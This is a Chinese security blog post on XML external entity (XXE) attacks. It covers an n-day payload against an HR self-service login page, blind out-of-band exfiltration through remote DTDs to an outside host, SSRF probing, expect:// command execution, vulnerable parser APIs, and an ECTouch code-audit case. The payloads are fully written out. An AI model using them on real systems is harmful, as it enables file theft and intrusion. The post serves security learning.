# 目标站:
http://1.1.1.1:6666/hrss/login.jsp
啊这?似乎又是nday的节奏。
如图:
payload:
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "/etc/passwd">]><rpc
method="noteInputCount"><ps><p name="user_code">1</p></ps><vps><p name="DEFAULT_DATA_SOURCE">%26xxe;</p></vps></rpc>
毫无参与感,为了凑字数,只好趁这篇文章记录记录xxe的知识点。
xxe可用的协议
xxe攻击面
-
文件读取-有回显(Normal XXE)
结合外部实体声明(实体名称 SYSTEM ”uri/url“)和参数实体(% 实体名称 SYSTEM “uri-外部dtd”)有两种方式进行注入攻击
-
文件读取-无回显(Blind OOB XXE)
连续调用三个参数实体 %remote;%int;%send,其调用顺序如下:
%remote 先调用,调用后请求远程服务器上的 evil.dtd
类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file
%file 就会去获取服务器上面的敏感文件
然后将 %file 的结果填入到 %send 以后,再调用 %send
把读取到的数据发送到远程 vps 上,这样就实现了外带
-
SSRF
-
有回显
-
无回显-盲打
-
HTTP
-
内网主机探测
-
内网主机端口(服务)探测
# 可以先获取目标的大致主机ip分配
/etc/network/interfaces
/proc/net/arp
/etc/hosts
.....
例/etc/hosts:
开始探测
# 当主机不存在或不可达时回显:
<errorMessage>No route to host</errorMessage>
<errorMessage>Network is unreachable</errorMessage>
# 当主机存在时回显:
<errorMessage>Connection refused</errorMessage>
php + expert:// (千年等一回)
-
代码执行
PHP expect模块被加载到存在xxe漏洞应用程序上,可用以下姿势执行命令:
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="don9sec">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
代码审计中的xxe
XML解析一般在数据传输等场景可能会遇到,所以只要遇到涉及到XML文件处理的场景都可以留意XML解析器是否已经禁用外部实体。
常见漏洞触发点如下:
Java
DocumentHelper.parseText
DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
......
php
simplexml_load_string
在进行代码审计时,定位关键词,回溯分析即可。
案例分析-ECTouch xxe漏洞
前提
-
php 5.3-5.4
高版本simplexml_load_string
当第3个参数不为"LIBXML_NOENT"参数时不解析xml
定位关键词:
simplexml_load_string(
valid函数分析:
post的数据传入到postStr参数中
最后进入到simplexml_load_string中被解析
但是并没有回显,只能盲注
再来看一下valid函数的被调用情况:
valid(
construct函数分析:
# 传入参数orgid,然后获取wxinfo
# 接着实例化Wechat类
$this->weObj = new Wechat($config);
# 最后调用valid函数
$this->weObj->valid();
构造路由
/index.php?m=default&a=index&c=wechat&orgid=1
xxe盲注通用payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c://windows/win.ini"><!ENTITY % dtd SYSTEM
"http://0.0.0.0/xxe.xml">%dtd; %all;]>
<value>&send;</value>
vps上的xxe.xml:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxe.ceye.io/%file;'>">
如图:
大概跑了一下,发现案例还是蛮多的:
附上几篇经典的文章(第5篇不看后悔🙉):
1. 微信支付Java SDK XXE漏洞实战浅析
http://www.nxadmin.com/web/1686.html
2. Exploiting XXE with Excel
https://www.4armed.com/blog/exploiting-xxe-with-excel/
3. XXE to 域控(基于资源的约束委派)
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#4-xxe-to-%E5%9F%9F%E6%8E%A7
4. Exploiting XXE for SSRF
https://gupta-bless.medium.com/exploiting-xxe-for-ssrf-c23892374c0c
5. From blind XXE to root-level file read access(强烈推荐)
https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/
参考:
http://foreversong.cn/
https://www.anquanke.com/post/id/151944
本文始发于微信公众号(don9sec):一次“实战”引起的XXE学习
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论